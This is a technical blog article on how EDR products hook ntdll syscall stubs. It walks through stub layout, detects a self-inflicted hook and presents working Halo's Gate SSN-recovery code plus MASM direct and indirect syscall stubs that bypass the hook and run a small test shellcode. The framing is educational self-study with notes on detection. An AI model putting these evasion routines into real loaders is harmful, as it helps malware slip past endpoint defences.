In my previous article, I ended with a loader that maps a DLL into memory without calling LoadLibrary or GetProcAddress. But it still had a soft spot, and I said so at the time: every memory operation went through ntdll’s exported syscall stubs — the exact stubs an EDR overwrites before your process even starts.

So this time I played both sides. First I acted as the EDR: I flipped ntdll.dll’s .text page writable in my own process and stomped the first five bytes of NtAllocateVirtualMemory with E9 AA BB CC DD — a fake jmp that destroys both the stub’s prologue and its hardcoded syscall number. Then I wrote the bypass: detect the hook, recover the destroyed number from a neighboring stub, and enter the kernel without ever executing the hooked bytes.

The console run that does all of it, ending with shellcode returning 1337 from a page the hooked function allocated:

Console output: hook detected, SSN recovered via Halo's Gate, indirect and direct syscalls executing

Everything below comes from my OS-Internals study repository — labs run on my own Windows 11 VM, in my own process, with x64dbg verifying every claim. This is about understanding the machinery, on both sides of it.

Why the Hook Lives in Your Process, Not the Kernel

The natural question from last time: if an EDR wants to watch every memory operation, why not do it in Ring 0, where user-mode code can’t touch it?

Because Microsoft won’t let it. Two hard constraints:

PatchGuard. In the 32-bit XP era, antivirus drivers hooked the kernel’s SSDT (KeServiceDescriptorTable) so every syscall passed through them first. Poorly written hooks collided and blue-screened machines en masse — and users blamed Microsoft. On 64-bit Windows, Kernel Patch Protection crashes the whole machine (0x109 CRITICAL_STRUCTURE_CORRUPTION) the moment a driver patches ntoskrnl code or the SSDT. The kernel’s syscall table is off limits to everyone, including security products.

The callback list has a hole in it. Microsoft does give vendors official kernel callbacks — process creation, thread creation, image loads, handle operations, registry, file I/O. Look at what’s not on that list: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, NtQueueApcThread, NtGet/SetContextThread, NtMapViewOfSection. No synchronous kernel callback exists for virtual memory and thread-context syscalls — they fire thousands of times per second system-wide, and blocking on a vendor DLL inside the kernel for each one would crawl the OS to a halt.

So EDRs bridge the blind spot from the other side. When your process starts, the EDR’s driver (via PsSetLoadImageNotifyRoutine or an APC) forces a sensor DLL into your Ring 3 address space. That DLL flips ntdll’s .text writable and overwrites the first bytes of the interesting Nt* stubs with a jmp into itself. The kernel never knows; your process now politely routes every syscall through the EDR’s inspector first, which can examine arguments, walk your call stack, and block or allow.

The irony that makes this whole field possible: the sensor DLL and ntdll both live in your process, in memory you can read.

Anatomy of the 32-Byte Stub

Here is the byte-for-byte layout of a clean ntdll!NtAllocateVirtualMemory on Windows 10/11 — every stub in ntdll is aligned to 16 bytes and occupies exactly 0x20 (32) bytes:

CLEAN STUB: ntdll!NtAllocateVirtualMemory (Total size: 0x20 / 32 bytes)
+---------------------------------------------------------------------------------------------------+
| Offset | Raw Bytes                | Disassembly                   | Purpose                    |
+--------+--------------------------+-------------------------------+----------------------------+
| +0x00  | 4C 8B D1                 | mov r10, rcx                  | Save Arg1 (RCX) into R10  |
| +0x03  | B8 18 00 00 00           | mov eax, 0x18                 | Load SSN (0x18) into EAX  |
| +0x08  | F6 04 25 08 03 FE 7F 01  | test byte ptr [0x7FFE0308], 1 | KUSER_SHARED_DATA check  |
| +0x10  | 75 03                    | jne +0x03 (to int 2Eh)        | Legacy hypervisor path    |
| +0x12  | 0F 05                    | syscall                       | Ring 3 -> Ring 0          |
| +0x14  | C3                       | ret                           | Return to caller          |
| +0x15  | CD 2E                    | int 0x2E                      | Legacy interrupt syscall  |
| +0x17  | C3                       | ret                           | Return                    |
| +0x18  | 0F 1F 84 00 00 00 00 00  | nop dword ptr [rax+rax*1+0x0] | Alignment padding        |
+---------------------------------------------------------------------------------------------------+

Two details matter enormously in a moment. First, mov r10, rcx exists because the syscall instruction itself destroys RCX — the CPU hardware saves the user-mode return address there (and RFLAGS into R11) when transitioning to the kernel. The stub must park the first argument in R10 before it evaporates. Second, the System Service Number — the 0x18 the kernel reads from EAX to index the SSDT — sits at bytes +0x04..+0x07, immediately after the 0xB8 opcode at +0x03.

What the Hook Actually Overwrites

An inline hook needs 5 bytes for jmp rel32 (0xE9 + signed 32-bit displacement). Written at offset +0x00, those five bytes eat the 3-byte mov r10, rcx and the first two bytes of mov eax, 0x18 — the SSN is gone:

HOOKED STUB: ntdll!NtAllocateVirtualMemory
+--------+--------------------------+-------------------------------+---------------------------+
| Offset | Raw Bytes                | Disassembly                   | Status                    |
+--------+--------------------------+-------------------------------+---------------------------+
| +0x00  | E9 7B CC F5 DF           | jmp <edr_sensor>              | <-- 5-byte inline hook    |
| +0x05  | 00 00 00                 | add [rax], al (CORRUPTED)     | <-- leftover upper bytes  |
| +0x08  | F6 04 25 08 03 FE 7F 01  | test byte ptr [0x7FFE0308], 1 | Intact                   |
| +0x10  | 75 03                    | jne +0x03                     | Intact                    |
| +0x12  | 0F 05                    | syscall                       | <-- STILL INTACT          |
| +0x14  | C3                       | ret                           | <-- STILL INTACT          |
+--------+--------------------------+-------------------------------+---------------------------+

(Some EDRs use the “Tartarus’ Gate” placement instead: leaving mov r10, rcx alone and writing the jump at +0x03. Hook detection must check both funcAddr[0] == 0xE9 and funcAddr[3] == 0xE9.)

The full control flow of a hooked call, with the EDR’s trampoline re-executing the stolen instructions before returning into the stub at +0x08:

1. main.exe -> ntdll!NtAllocateVirtualMemory +0x00     jmp <edr>   (hooked bytes)
2. edr_sensor!HookDetour                              inspect args, walk call stack
        |-- benign  -> edr_sensor!Trampoline          execute stolen bytes:
        |                 mov r10, rcx / mov eax, 18h  then jmp ntdll+NtAllocVM+0x08
        |                                    v
        |                 ntdll!NtAllocateVirtualMemory +0x12   syscall -> Ring 0
        '-- malicious -> BLOCK / terminate the process

And there, in the hooked-stub table above, is the fundamental flaw of user-mode hooking, stated in one line: the syscall; ret at +0x12/+0x14 is untouched. The kernel doesn’t know or care whether your thread visited the EDR’s DLL on the way in. When the CPU executes syscall, all the kernel sees is arguments in R10/RDX/R8/R9/stack and an SSN in EAX. Everything an EDR enforced happened in your memory — and everything the kernel will verify happens after the transition.

Recovering the Destroyed SSN: Hell’s Gate, Halo’s Gate

You cannot hardcode SSNs — Microsoft shuffles them between builds (NtCreateThreadEx alone drifted 0xB3 → 0xB4 → 0xBD → 0xC1 → 0xC7 across Windows 10/11 updates), and calling the wrong number in Ring 0 fails or corrupts kernel parameter parsing. You must resolve them at runtime, from memory.

Hell’s Gate does the naive thing: locate the stub via your own EAT walk, verify the clean prologue (4C 8B D1 B8), read the WORD at +0x04. It works beautifully — on unhooked stubs. On a hooked stub, funcAddr[0] is 0xE9 and the SSN bytes at +0x04 are jump-displacement garbage. Hell’s Gate fails precisely when it matters.

Halo’s Gate exploits a layout invariant of ntdll.dll: syscall stubs sit in .text in ascending SSN order, at a fixed stride of exactly 0x20 bytes each. If my target is hooked, its neighbors probably aren’t:

ntdll.dll .text — each stub exactly 0x20 (32) bytes
+-----------------------+--------------------+---------------------------+------------------+------+
| Address               | Offset from target | Function                  | First bytes      | SSN  |
+-----------------------+--------------------+---------------------------+------------------+------+
| funcAddr - (2 * 0x20) | -0x40              | NtQuerySection (CLEAN)    | 4C 8B D1 B8 16.. | 0x16 |
| funcAddr - (1 * 0x20) | -0x20              | NtMapViewOfSection HOOKED | E9 4A CD F5 DF.. | ???? |
| funcAddr              |  0x00 (target)     | NtAllocateVirtualMemory   | E9 7B CC F5 DF.. | ???? |
| funcAddr + (1 * 0x20) | +0x20              | NtFreeVirtualMemory CLEAN | 4C 8B D1 B8 19.. | 0x19 |
| funcAddr + (2 * 0x20) | +0x40              | NtReadVirtualMemory CLEAN | 4C 8B D1 B8 1A.. | 0x1A |
+-----------------------+--------------------+---------------------------+------------------+------+

Walk one stub down: NtFreeVirtualMemory is clean, SSN 0x19. It sits one slot after my target, so mine is one less: 0x19 - 1 = 0x18. Or walk two stubs up to NtQuerySection (0x16) and add: 0x16 + 2 = 0x18. Either direction, the arithmetic is exact — stubs are sequential. Even an EDR that hooks fifty functions can’t cover all ~450+ stubs; a loop up to a few hundred neighbors is mathematically guaranteed to find clean ground.

The lab’s ResolveSyscallEntry implements the whole ladder — Hell’s Gate check first, Halo’s Gate walk if hooked, plus a bonus that indirect syscalls will need: scanning the 32-byte stub for the 0F 05 C3 (syscall; ret) gadget:

BOOL ResolveSyscallEntry(BYTE* funcAddr, DWORD* outSsn, PVOID* outSyscallInstAddr)
{
    if(funcAddr[0] == 0x4c && funcAddr[1] == 0x8b && funcAddr[2] == 0xd1 && funcAddr[3] == 0xb8)
    {
        *outSsn = *(WORD*)(funcAddr + 4);
    }
    if(funcAddr[0] == 0xe9 || funcAddr[3] == 0xe9)
    {
        printf("[!] WARNING: A hook was detected at: 0x%p\n", funcAddr);
        for(WORD idx = 0; idx < 500; idx++)
        {
            BYTE* downNeighbor = funcAddr + (idx * 0x20);
            if(downNeighbor[0] == 0x4c && downNeighbor[1] == 0x8b && downNeighbor[2] == 0xd1 && downNeighbor[3] == 0xb8)
            {
                WORD neighborSsn = *(WORD*)(downNeighbor + 4);
                *outSsn = neighborSsn - idx;
                break;
            }
            BYTE* upNeighbor = funcAddr - (idx * 0x20);
            if(upNeighbor[0] == 0x4c && upNeighbor[1] == 0x8b && upNeighbor[2] == 0xd1 && upNeighbor[3] == 0xb8)
            {
                WORD neighborSssn = *(WORD*)(upNeighbor + 4);
                *outSsn = neighborSssn + idx;
                break;
            }
        }
    }
    for(WORD i = 0; i < 32; i++)
    {
        if(funcAddr[i] == 0x0f && funcAddr[i+1] == 0x05 && funcAddr[i+2] == 0xc3)
        {
            *outSyscallInstAddr = &funcAddr[i];
            break;
        }
    }
    return TRUE;
}

A weakness in this lab worth naming: if no clean neighbor exists within the loop’s 500-stub reach — for example, an EDR that hooks a contiguous run around the functions it cares about — the loop falls through without writing anything, *outSsn stays 0, and ResolveSyscallEntry still returns TRUE. That 0 would flow straight into PrepareSyscall and invoke syscall slot 0 with live register state. The rule this teaches: “no clean neighbor found”, “SSN resolved to 0”, and “no 0F 05 C3 gadget located” must all be abort conditions — a detector that returns nothing is an alarm, not a pass.

Note what resolving still relies on: the PEB walk and DJB2-hashed EAT walk from the previous article (0x6793C34C, 0x082962C8, and now 0x95F3A792 for NtWriteVirtualMemory). Nothing here imports an API or contains an API-name string.

The Execution Half: syscalls.asm

With the SSN and gadget address in hand, execution lives in a 30-line MASM file. (64-bit MSVC has no inline __asm, so assembly goes in a separate .asm assembled by ml64.exe.) The entire file:

.data
    wSystemCall DWORD 0
    qSyscallInsAddr QWORD 0

.code

    PUBLIC PrepareSyscall
    PrepareSyscall PROC
        ; RCX = 1st argument(DWORD ssn)
        ; RDX = 2st argument (PVOID syscallInstructionAddr)
        mov wSystemCall, ecx
        mov qSyscallInsAddr, rdx
        ret
    PrepareSyscall ENDP

    PUBLIC DoDirectSyscall
    DoDirectSyscall PROC
        mov r10, rcx
        mov eax, wSystemCall
        syscall
        ret
    DoDirectSyscall ENDP

    PUBLIC DoIndirectSyscall
    DoIndirectSyscall PROC
        mov r10, rcx
        mov eax, wSystemCall
        jmp qword ptr [qSyscallInsAddr]
    DoIndirectSyscall ENDP

END

PrepareSyscall parks the SSN and gadget address in globals. DoDirectSyscall and DoIndirectSyscall are declared in C++ as variadic extern "C" NTSTATUS ...(....) — they never touch RCX/RDX/R8/R9 or the stack slots, so the compiler places your arguments exactly where KiSystemCall64 expects to find them.

The difference between the two stubs is one instruction, and it is the entire article: syscall executed inside your binary, versus jmp to the syscall; ret sitting untouched inside ntdll.

Direct vs. Indirect: the Return Address That Betrays You

A direct syscall skips the hook entirely — your code loads EAX, executes syscall from main.exe, and the kernel obliges. Bypass achieved. But look at what the kernel can see of the transition.

The syscall instruction copies the user-mode return RIP into RCX, and the kernel stores it in the thread’s _KTRAP_FRAME.Rip. Kernel callbacks and ETW Threat Intelligence can inspect that value — and here is the statistical reality: in a legitimate Windows process, 100% of syscalls originate from ntdll.dll or win32u.dll. No legitimate main.exe, kernel32.dll, or kernelbase.dll ever executes a raw syscall instruction. A trap frame whose return address points into an unsigned module is, by itself, a finding.

[A] DIRECT SYSCALL — flagged by kernel origin checks:

    main.exe!main()
      -> main.exe!DoDirectSyscall()
           mov r10, rcx
           mov eax, 0x18
           syscall            ; executed at 0x7FF60FC01056, inside main.exe
             |
             v  [Ring 0]
           Kernel inspects _KTRAP_FRAME.Rip:
           return RIP = 0x7FF60FC01058  -> inside main.exe, NOT ntdll  -> [ANOMALY]

[B] INDIRECT SYSCALL — clean origin, clean call stack:

    main.exe!main()
      -> main.exe!DoIndirectSyscall()    ; 'call' pushed return addr (main+0x45) onto RSP
           mov r10, rcx
           mov eax, 0x18
           jmp [qSyscallInsAddr]         ; jmp, NOT call — pushes nothing
             |
             v
           ntdll!NtAllocateVirtualMemory +0x12
           syscall                       ; executed at 0x7FFFC80A3392, inside ntdll.dll
             |
             v  [Ring 0]
           Kernel inspects _KTRAP_FRAME.Rip:
           return RIP = 0x7FFFC80A3394  -> inside legitimate ntdll.dll -> [CLEAN]
             |
             v  [sysret]
           ret                           ; pops main+0x45 off RSP, back to main()

Trace the stack in [B] carefully, because it’s the elegant part. The call into DoIndirectSyscall pushed main+0x45 onto RSP. The stub uses jmp — which pushes nothing — so when execution lands on syscall inside ntdll, [RSP] still holds main+0x45. The kernel’s syscall executes, sysret returns to ntdll’s ret, and that ret pops main+0x45 straight back to your code. One stack slot, no frame from your module anywhere near the transition: the hook at +0x00 is jumped past, the syscall executes in legitimate ntdll memory, and the origin check sees exactly what a genuine ntdll call looks like.

The Lab: Both Sides, In One Process

Lab 4.2 runs the full loop on my VM. First, be the EDR — resolve the three NT functions by hash, print NtAllocateVirtualMemory’s clean first bytes, then use NtProtectVirtualMemory to flip the page PAGE_EXECUTE_READWRITE and stomp the stub:

baseNtAllocateVirtualMemory[0] = 0xE9;
baseNtAllocateVirtualMemory[1] = 0xAA;
baseNtAllocateVirtualMemory[2] = 0xBB;
baseNtAllocateVirtualMemory[3] = 0xCC;
baseNtAllocateVirtualMemory[4] = 0xDD;

Five bytes: prologue and SSN destroyed. Then run ResolveSyscallEntry on all three functions and confirm recovery — the console tells the story:

c:\Users\cyber\OneDrive\Desktop\labs\lab-4.2>main.exe
[!] NT functions resolved successfully.
[+] NtAllocateVirtualMemory first 8 bytes before the EDR hook: 4C 8B D1 B8 18 0 0 0
[!] Patching first 5 bytes of NtAllocateVirtualMemory.
[+] Patched successfully. The first 8 bytes of NtAllocateVirtualMemory after patch: E9 AA BB CC DD 0 0 0
[!] Resolving SSNs for NT functions.
[!] WARNING: A hook was detected at: 0x00007FF8BE0A2040
[+] Recovered SSN for the NtAllocateVirtualMemory: 0x18 and syscall gadget address: 0x00007FF8BE0A2052, NtProtectVirtualMemory: 0x50 and syscall gadget address: 0x00007FF8BE0A2752
[!] Making the indirect syscall for NtAllocateVirtualMemory.
[+] Indirect syscall successful, copying payload with direct syscall and protecting the allocated memory.
[+] Copied the payload and protected allocated memory successfully. Triggering execution.
[+] Shellcode function returned: 1337
[!] Restoring NtAllocateVirtualMemory hook.
[+] Restored NtAllocateVirtualMemory hook.

The allocation went through the indirect stub (jmp to ntdll+0x12, past the E9 hook), the payload write through the direct stub — deliberately, to compare both origins in the debugger — and the permission flip back to RX through the indirect stub again before executing the six-byte mov eax, 1337; ret payload from the first article.

In x64dbg, the difference is visible in the window title bar. Here is DoIndirectSyscall paused on syscall — Module: ntdll.dll, RIP = 0x7FF8BE0A2052, with the E9 AABBCCDD hook sitting untouched at 0x7FF8BE0A2040 a few bytes above:

Indirect syscall paused inside ntdll.dll — module title bar proves the origin

And here is DoDirectSyscall — Module: main.exe, RIP = 0x7FF6616C81D7, RAX = 0x3A for NtWriteVirtualMemory. When this syscall enters Ring 0, _KTRAP_FRAME.Rip will hold an address inside main.exe — the anomaly, on screen:

Direct syscall paused inside main.exe — origin betrays itself

For completeness, the three MASM stubs as the linker placed them in main.exe:

The MASM stubs inside main.exe in x64dbg

Two Bugs Worth More Than the Feature

The lab worked first try — and then crashed at getchar(). Both failure investigations taught me more than the happy path, so they’re worth retelling.

The getchar() that jumped into nowhere. After the payload executed, the process died at fault offset 0x7FF89BD6DBEF. That address is exactly where our fake E9 AA BB CC DD hook points: 0x7FF8BE0A2040 + 5 - 0x22334456 = 0x7FF89BD6DBEF. The trigger? getchar() made ucrtbase.dll lazily allocate its stdin buffer — through a perfectly normal call to ntdll!NtAllocateVirtualMemory at +0x00, which hit our hook and jumped to unmapped memory. The bypass worked; the rest of the process didn’t know a hook was in place. A real EDR hook doesn’t just sit there waiting for you — every innocent caller in the process walks through it too. (The final version of the lab restores the stolen bytes before pausing.)

The permission flip that killed sysret. My first hook-simulation attempt set ntdll’s .text page to PAGE_READWRITE while patching — and faulted instantly. The reason is a genuine internals lesson: NtAllocateVirtualMemory (0x...2040) and NtProtectVirtualMemory (0x...2740) live only 0x700 apart — on the same 4 KB page. The very NtProtectVirtualMemory call that removed the Execute bit from that page had to execute ret from it after sysret returned. The kernel came back to a non-executable page and the CPU refused the instruction fetch. PAGE_EXECUTE_READWRITE during the patch window — the permission everyone reflexively calls sloppy — is the correct choice when the code doing the flipping lives on the page being flipped.

Where This Goes Next

The indirect syscall leaves one artifact an investigator can still trust: the call stack. The transition origin is clean, but the frames below it still show your module calling into things it never legitimately calls — which is precisely what Module 4.3 is about: call-stack spoofing, .pdata unwind tables, and how ETW and AMSI fit into the picture.

Both techniques here also have honest limits on the detection side. The byte-pattern checks in ResolveSyscallEntry catch the classic 5-byte E9 hook — not the stealthier classes: mid-stub patches that leave the prologue looking clean, hardware-breakpoint hooks that modify no bytes at all, or products that skip user-mode hooking entirely and watch from kernel telemetry. The stronger form of the same idea is integrity verification — diffing live stubs against a clean copy of ntdll mapped from the KnownDlls section object. That’s a lab for a future article, once I’ve built and broken it myself.

The notes are already in the OS-Internals repository alongside every lab from this series.

Same advice as last time, and this lab proves it twice over: hook your own process, break your own stub, and debug what falls out. The two crashes above taught me more about sysret, page granularity, and lazy CRT allocation than the bypass itself did.